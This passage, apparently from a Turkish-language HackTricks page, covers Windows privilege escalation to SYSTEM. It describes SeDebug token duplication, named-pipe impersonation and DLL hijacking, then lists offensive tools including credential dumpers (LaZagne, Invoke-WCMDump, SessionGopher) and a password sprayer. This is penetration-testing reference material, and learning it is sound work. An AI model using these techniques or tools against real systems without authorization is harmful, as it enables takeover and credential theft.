Bu token ayrıcalıklarına sahipseniz (bunları muhtemelen zaten Yüksek Bütünlük sürecinde bulacaksınız), SeDebug ayrıcalığı ile nearly any process'i (korunan olmayan süreçler) açabilir, sürecin token'ını kopyalayabilir ve o token ile keyfi bir süreç oluşturabilirsiniz. Bu teknik genellikle tüm token ayrıcalıklarına sahip SYSTEM olarak çalışan herhangi bir sürecin seçilmesi için kullanılır (evet, tüm token ayrıcalıklarına sahip olmayan SYSTEM süreçleri bulabilirsiniz). Önerilen teknik uygulamayı yürüten kod örneğini burada bulabilirsiniz.

Adlandırılmış Borular

Bu teknik, getsystem içinde yükselmek için meterpreter tarafından kullanılır. Teknik, bir boru oluşturmayı ve ardından o boruya yazmak için bir hizmet oluşturmak/istismar etmeyi içerir. Daha sonra, boruyu oluşturan sunucu (boruyu SeImpersonate ayrıcalığı ile oluşturan) boru istemcisinin (hizmetin) token'ını taklit edebilecek ve SYSTEM ayrıcalıklarını elde edebilecektir. Eğer name pipes hakkında daha fazla bilgi edinmek istiyorsanız burayı okumalısınız. Eğer yüksek bütünlükten Sistem'e name pipes kullanarak nasıl geçileceğine dair bir örnek okumak istiyorsanız burayı okumalısınız.

Dll Kaçırma

Eğer SYSTEM olarak çalışan bir süreç tarafından yüklenen bir dll'yi kaçırmayı başarırsanız, bu izinlerle keyfi kodu yürütebilir hale geleceksiniz. Bu nedenle Dll Kaçırma, bu tür ayrıcalık yükseltmeleri için de yararlıdır ve ayrıca, yüksek bütünlük sürecinden kolayca başarılabilir olacaktır çünkü dll'leri yüklemek için kullanılan klasörlerde yazma izinlerine sahip olacaktır. Dll kaçırma hakkında daha fazla bilgi edinebilirsiniz burada.

Yönetici veya Ağ Hizmetinden Sistem'e

LOCAL SERVICE veya NETWORK SERVICE'den tam ayrıcalıklara

Oku: https://github.com/itm4n/FullPowers

Daha fazla yardım

Statik impacket ikili dosyaları

Faydalı araçlar

Windows yerel ayrıcalık yükseltme vektörlerini aramak için en iyi araç: WinPEAS

PS

PrivescCheck PowerSploit-Privesc(PowerUP) -- Yanlış yapılandırmaları ve hassas dosyaları kontrol edin (buraya bakın). Algılandı. JAWS -- Bazı olası yanlış yapılandırmaları kontrol edin ve bilgi toplayın (buraya bakın). privesc -- Yanlış yapılandırmaları kontrol edin SessionGopher -- PuTTY, WinSCP, SuperPuTTY, FileZilla ve RDP kayıtlı oturum bilgilerini çıkarır. Yerelde -Thorough kullanın. Invoke-WCMDump -- Kimlik Yöneticisinden kimlik bilgilerini çıkarır. Algılandı. DomainPasswordSpray -- Toplanan şifreleri etki alanı boyunca yayınlayın Inveigh -- Inveigh, bir PowerShell ADIDNS/LLMNR/mDNS/NBNS sahtekar ve araçtır. WindowsEnum -- Temel ayrıcalık yükseltme Windows numaralandırması Sherlock ~~~~ -- Bilinen ayrıcalık yükseltme zafiyetlerini arayın (Watson için DEPRECATED) WINspect -- Yerel kontroller (Yönetici hakları gerektirir)

Exe

Watson -- Bilinen ayrıcalık yükseltme zafiyetlerini arayın (VisualStudio kullanılarak derlenmesi gerekmektedir) (derlenmiş) SeatBelt -- Yanlış yapılandırmaları arayan ana bilgisayarı numaralandırır (daha çok bir bilgi toplama aracıdır) (derlenmesi gerekmektedir) (derlenmiş) LaZagne -- Birçok yazılımdan kimlik bilgilerini çıkarır (github'da derlenmiş exe) SharpUP -- PowerUp'ın C# portu Beroot ~~~~ -- Yanlış yapılandırmaları kontrol edin (github'da derlenmiş yürütülebilir). Tavsiye edilmez. Win10'da iyi çalışmaz. Windows-Privesc-Check -- Olası yanlış yapılandırmaları kontrol edin (python'dan exe). Tavsiye edilmez. Win10'da iyi çalışmaz.

Bat

winPEASbat -- Bu gönderiye dayalı olarak oluşturulan araç (düzgün çalışması için accesschk'ye ihtiyaç duymaz ancak kullanabilir).

Yerel

Windows-Exploit-Suggester -- systeminfo çıktısını okur ve çalışan zafiyetleri önerir (yerel python) Windows Exploit Suggester Next Generation -- systeminfo çıktısını okur ve çalışan zafiyetleri önerir (yerel python)

Meterpreter

multi/recon/local_exploit_suggestor

Projeyi doğru .NET sürümünü kullanarak derlemeniz gerekmektedir (buna bakın). Kurban ana bilgisayar üzerinde yüklü .NET sürümünü görmek için şunu yapabilirsiniz:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Kaynaklar

Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

Last updated